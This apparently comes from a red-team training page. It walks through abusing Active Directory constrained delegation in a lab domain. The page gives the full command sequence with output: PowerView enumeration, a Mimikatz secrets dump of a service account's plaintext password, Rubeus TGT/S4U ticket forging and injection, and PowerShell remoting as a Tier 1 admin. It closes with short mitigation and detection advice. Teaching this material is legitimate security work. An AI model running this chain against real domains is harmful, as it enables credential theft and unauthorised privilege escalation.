Constrained Delegation Attack Path – Full Workflow Example

Start as a low-privileged domain user and escalate to a server-level administrator using Constrained Delegation abuse.

ComponentName
Domain Nameintranet.offensive.local
Domain ControllerDC01.intranet.offensive.local
Web ServerWEB01.intranet.offensive.local
SQL ServerSQL01.intranet.offensive.local
Tier 1 Admint1_john.murphy
Service AccountsvcWebApp
Your Low-Priv Useralice.reed

You’re logged in or have a shell as alice.reed, a regular domain user. You start enumerating the environment.

We check which accounts have constrained delegation rights.

Import-Module .\PowerView.ps1
Get-NetUser -TrustedToAuth
svcWebApp -> can delegate to: HTTP/SQL01.intranet.offensive.local

Translation: If we can control svcWebApp, we can impersonate any user to the HTTP service on SQL01.

We want to find where svcWebApp is used. This could be:

  • A scheduled task
  • A running service
  • An IIS App Pool identity
  • A saved credential
Get-WmiObject Win32_Service | Where-Object { $_.StartName -like "*svcWebApp*" }

You find a Windows service running as intranet\\svcWebApp on WEB01.

Since you have admin on WEB01, use Mimikatz to dump the password:

.\mimikatz.exe
mimikatz # token::elevate
mimikatz # lsadump::secrets
Secret  : _SC_WebAppUpdater
cur/text: S3rv1ceP@ssword!

Now you have the plaintext password for svcWebApp.

Use Rubeus or Kekeo to get a TGT with the password you dumped.

Rubeus.exe asktgt /user:svcWebApp /domain:intranet.offensive.local /password:S3rv1ceP@ssword! /nowrap

You get a TGT .kirbi file for svcWebApp.

Let’s impersonate t1_john.murphy (a known Tier 1 Admin).

Since svcWebApp can delegate only to HTTP/SQL01, we need to generate a TGS that says:

“I am t1_john.murphy, give me access to HTTP/SQL01.”

Rubeus.exe s4u /user:svcWebApp /password:S3rv1ceP@ssword! /impersonateuser:t1_john.murphy /msdsspn:http/SQL01.intranet.offensive.local /domain:intranet.offensive.local

You receive a .kirbi TGS ticket.

Now that we have the TGS, we inject it with Mimikatz or Rubeus.

privilege::debug
kerberos::ptt <ticket.kirbi>
Rubeus.exe ptt /ticket:<ticket.kirbi>

Let’s test access by initiating a PowerShell Remoting session to SQL01.

Enter-PSSession -ComputerName SQL01.intranet.offensive.local
whoami

Output:

intranet\\t1_john.murphy

Boom — you now have a remote session on SQL01 as a Tier 1 Admin via constrained delegation abuse.

PhaseAction
ReconFound svcWebApp can delegate to HTTP/SQL01
Host EnumDiscovered a service running as svcWebApp on WEB01
Post-ExploitationUsed Mimikatz to dump svcWebApp’s credentials
Ticket CraftingUsed Kekeo/Rubeus to get a TGT and forge TGS
Ticket InjectionLoaded forged tickets into memory
Lateral MovementRemoted into SQL01 as a Tier 1 Admin
  • Minimize delegation: Avoid giving service accounts delegation unless truly necessary.
  • Audit trustedToAuthForDelegation regularly.
  • Use gMSAs instead of regular service accounts when possible.
  • Detect forged tickets using Event ID 4769 anomalies and TGS request patterns.
  • Deploy Windows Defender for Identity / Microsoft ATA to monitor ticket behavior.

Scroll to Top